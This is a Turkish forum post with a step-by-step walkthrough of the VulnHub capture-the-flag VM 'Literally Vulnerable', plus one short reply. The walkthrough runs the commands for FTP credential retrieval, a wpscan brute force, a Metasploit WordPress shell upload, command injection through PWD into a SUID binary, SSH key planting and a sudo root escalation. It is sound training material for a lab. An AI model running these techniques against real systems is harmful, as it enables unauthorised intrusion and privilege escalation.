THT DUYURU

Capture The Flag Vulnerable VM Walkthrough & Capture The Flag Writeup Yazabileceğiniz Bölüm

Seçenekler

UA: Literally Vulnerable Zafiyetli Makinenin Çözümü //By Ghost

By Ghost - ait Kullanıcı Resmi (Avatar)
Yardımsever
Üyelik tarihi:
07/2013
Nereden:
C:\Linux
Yaş:
23
Mesajlar:
939
Konular:
143
Teşekkür (Etti):
396
Teşekkür (Aldı):
405
Ticaret:
(0) %
19-01-2020 23:00
#1
UA: Literally Vulnerable Zafiyetli Makinenin Çözümü //By Ghost
Merhabalar herkese. Bu yazıda sizlerle beraber UA serisinin Literally Vulnerable isimli zafiyetli makinenin çözümünü inceleyeceğiz.

https://www.vulnhub.com/entry/ua-lit...ulnerable,407/

Makine ismi: Literally Vulnerable

Yayınlanma Tarihi: 6 Aralık 2019

Yapan: Syed Umar Arfeen

Boyut/Format: 967MB/VMDK

Zorluk: Kolay-Orta

İşletim Sistemi: Linux

Seri: UA

Açıklama: Makinedeki 3 flag dosyasını bul. (local.txt-user.txt-root.txt)


İlk olarak makinemizin ip adresini öğrenmek için terminale arp-scan -l yazalım.



IP adresimizi öğrendikten sonra nmap taraması ile makinemizde hangi portlar açıkmış bakalım.
Kod:
nmap -A -p- 192.168.189.136



Makinemizde 4 farklı port açıkmış. -A parametresi sayesinde detaylı bir taramayıda bizlere sunduğundan portlarla alakalı ufak bilgileri de öğrenmiş olduk. 21 (ftp) portuna anonymous ile bağlantı sağlanabiliyormuş. Makinemizin ftp'sine bağlanmak için terminale aşağıdaki komutu yazınız.
Kod:
ftp 192.168.189.136
Kod:
ls -al
Kod:
get backupPasswords
Kod:
bye



backupPasswords isimli bir dosya bulduk. Bunu kendi bilgisayarımıza indirmek için get komutunu kullandık ve daha sonra ftpden çıktık. İndirdiğimiz dosyayı incelemek için terminale cat komutuyla içeriği yazdıralım.
Kod:
cat backupPasswords



Bir metin ve bir password list bulduk. Bize metinde anlattığı kısaca "Şifreni gene mi unuttun! Aşağıdaki listede şifrenle birlikte bir liste bırakıyorum sana." şeklinde. Yani bize bruteforce atak yapabilmemiz için kısa bir password listesi sundu. Şimdi sırada bunu nerede kullanacağımızı bulmakta. nmap taramasında 80 (http) portuna bakmak için tarayıcı açıp ipyi girelim.



İlk açtığımda düzensiz bir yapı ile karşılaşıyorum. Daha önceki tecrübelerime dayanarak burada css,js dosyalarını localhost/... şeklinde çağırmış olabilir ve bu yüzden düzensiz kalmış olabileceği geliyor hemen aklıma. Bunu öğrenmek için yüklenemeyen dosyaları tarayıcıdan faydalanarak öğreniyoruz. Tahminim isim hariç doğru çıktı. Bunu düzgün bir hale getirebilmemiz için /etc/hosts dosyasına ufak bir satır eklememiz gerekiyor. Dosyası editör ile açmak için;
Kod:
mousepad /etc/hosts
Kod:
192.168.189.136 literally.vulnerable




Tarayıcımıza dönüp sayfayı yenilediğimizde düzenli bir hale döndüğünü göreceksiniz. Siteye baktığım zaman wordpress olduğunu anlıyorum. wpscan ile eklenti, user, bruteforce derken bu sitede hiçbir şey bulamadım. Anasayfada da başka bir wordpress sitesinden bahsettiği için diğer porttaki http servisini kontrol edelim.



Bu web saysafı üzerinde neler olduğunu öğrenmek için dizin taraması yapalım. Terminale aşağıdaki gibi dirb komutunu girelim.
Kod:
dirb http://192.168.189.136:65535/ /usr/share/wordlists/dirb/big.txt




/phpcms dizini altında wordpress dosyalarını bulabildik. Tarayıcımızdan wordpress sayfasını kontrol edelim.



Bu site ile alakalı user bilgilerini öğrenmek için terminale aşağıdaki komutu girelim.
Kod:
wpscan --url http://192.168.189.136:65535/phpcms/ -e u



2 tane kullanıcı bulduk. Bunları bir dosya içine yazalım. Bunun için terminal üzerinden bir dosya oluşturup (user.txt) editör yardımıyla user bilgilerini girelim. Yan yana yazmayınız. Alt alta gelecek şekilde yazınız.



Şimdi elimde user list ve password list bir de wordpress site olduğuna göre wpscan yardımıyla bruteforce atak yapabilirim. Bunun için terminale aşağıdaki komutu girebilirsiniz.
Kod:
wpscan --url http://192.168.189.135:65535/phpcms/ -U user.txt -P backupPasswords



Bruteforce ataktan sonra wpscan bize giriş bilgilerini bulduğunu söylüyor.
Kullanıcı adı: maybeadmin
Password: $EPid%J2L9Luf05
Giriş bilgilerini http://192.168.189.136:65535/phpcms/wp-login.php üzerinden girip panele erişebilirsiniz.

Panele girdiğimde maybeadmin kullanıcısının kısıtlı erişimi olduğunu (editör grubu) farkediyorum. Panelde herhangi bişi bulabilir miyim diye dolaşırken konular arasında garip bir konu mevcut. İçerisini girdiğimde diğer kullanıcının (wpscan de bulduğumuz diğer kullanıcı-> notadmin) bilgilerini bana sunmakta.




Wordpress üzerinde yetkili bir kullanıcının bilgilerine eriştiğime göre wp_admin_shell_upload ile sisteme girebilirim. Aşağıdaki komutları sırasıyla girerek sisteme sızabilirsiniz.
Kod:
msfconsole
Kod:
search wp_admin
Kod:
use 0
Kod:
set RHOSTS 192.168.189.136
Kod:
set RPORT 65535
Kod:
set TARGETURI /phpcms
Kod:
set USERNAME notadmin
Kod:
set PASSWORD Pa$$w0rd13!&
Kod:
exploit



meterpreter yazısını gördüğünüzde shell yazarak içeri girebilirsiniz. Daha rahat komut yazıp görebilmek için bin/bash komutumuzu yazalım.
Kod:
python3 -c 'import pty;pty.spawn("/bin/bash")'

Sisteme www-data kullanıcı olarak girebildik. Bu CTF çözümünde 3 farklı flag dosyasına ulaşmamız beklenmekteydi. Fakat hiçbirine ulaşamamaktayım. Permision denied hatası alıyoruz hepsinde.




Bizde yetki yükseltme işlemi yapmamız gerekiyor. Sistemde bişiler ararken /home/doe dizin altında -rws... izinlerine sahip çalıştırılabilir bir dosya fark ediyorum. Bunu çalıştırdığımızda ne yaptığını öğrenmek için terminal üzerinde çalıştırdığımızda bize bulunduğumuz dizinin ne olduğunu döndüren bir komut içermekte olduğunu anlayabiliyoruz. Peki bu super kullanıcı dosyasını ben yetkisiz kullanıcı (www-data) bile çalıştırabildiğime göre okuma-yazma (rw) izinleri de mevcut. O halde bu dosya üzerinden ben kullanıcı geçişi yapabilirim belki. Denemek için terminal üzerinde aşağıdaki komutları girelim.
Kod:
export PWD=\$\(/bin/bash\)
Kod:
./itseasy



Gördüğünüz gibi john kullanıcına geçiş yapabildik. Fakat ne komut yazarsanız yazın geri dönüşü göremiyoruz. Yinede john kullanıcısı üzerindeyken john için bir ssh-keygen oluşturup ssh ile bağlantı kurabiliriz. Bunu için yeni bir terminal açıp ssh key oluşturalım.
Kod:
ssh-keygen
Kod:
cat /root/.ssh/id_rsa.pub



Sisteme sızdığımız terminale geri dönüp john için gerekli ssh dosyalasını oluşturmamız gerekiyor. Bunun için aşağıdaki komutları sırasıyla giriniz.
Kod:
mkdir -p /home/john/.ssh
Kod:
echo "OlusturdugunuzKEY" > /home/john/.ssh/authorized_keys



Şimdi yeni bir terminal açıp ssh bağlantısı yapalım.
Kod:
ssh john@192.168.189.136
Kod:
yes
Kod:
OLUŞTURDUGUNUZŞİFRE



Ssh ile giriş sağladık. Fakat sudo -l komutunu çalıştırabilmemiz için john kullanıcısının gerçek şifresini bilmemiz gerekiyor. Bunun için sistemde bir arama yapalım.
Kod:
find . -type f -iname "*password*" 2>/dev/null
Kod:
cat ./.local/share/tmpFiles/myPassword



Arama sonunda bir dosya bulduk. Bulduğumuz dosyada bize çözülebilir bir b64 (base64) olduğunu söylüyor. Bize verdiği hash değerini çözümlemek için terminalden yardım aldık ve john kullanıcısının gerçek şifresini öğrenebildik. Şimdi sudo -l komutu için elimde şifre var. Terminale komutu girdiğimde bana /var/www/html/test.html dosyası çalıştırılabilir olduğunu söylüyor. Dosya üzerinde bash komutu yerleştirmek için sisteme sızdığımız terminale dönüp aşağıdaki komutları sırasıyla girelim
Kod:
exit
Kod:
echo "/bin/bash" > /var/www/html/test.html
Kod:
chmod 777 /var/www/html/test.html



Ssh ile bağlantı kurduğumuz terminale geri dönüp şimdi bu html dosyasını çalıştırmak kalıyor. Bunun için aşağıdaki komutları sırasıyla girelim.
Kod:
cd /var/www/html
Kod:
sudo ./test.html



Ve sonunda makinede root kullanıcısına yükselebildik. Şimdi flag dosyalarımızı okumak kalıyor geriye





H4ck3njoy

Elimden geldiğince çözümü anlatmaya çalıştım. Umarım faydalı ve doğru anlatabilmişimdir. Bir başka CTF çözümünde buluşmak üzere Allah'a emanet olun
---------------------
Öfkene hakim olamıyorsan;
Niye yaşıyorsun?

-->Muslims Freedom!!!<--
Konu By Ghost tarafından (19-01-2020 23:03 Saat 23:03 ) değiştirilmiştir.
"P4RS, PourLa, The CrueL, Xowly Teşekkür etti.
PourLa - ait Kullanıcı Resmi (Avatar)
Green Team
Üyelik tarihi:
03/2016
Nereden:
Mesajlar:
1.326
Konular:
282
Teşekkür (Etti):
351
Teşekkür (Aldı):
333
Ticaret:
(0) %
19-01-2020 23:13
#2
Cevap: UA: Literally Vulnerable Zafiyetli Makinenin Çözümü //By Ghost
Ellerin dert görmesin
---------------------
PourLa
Html/Css > Python > C ve C++
( }-----{ TÜRK HACK TEAM }-----{ )
Twitter | Telegram | İnstagram





Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler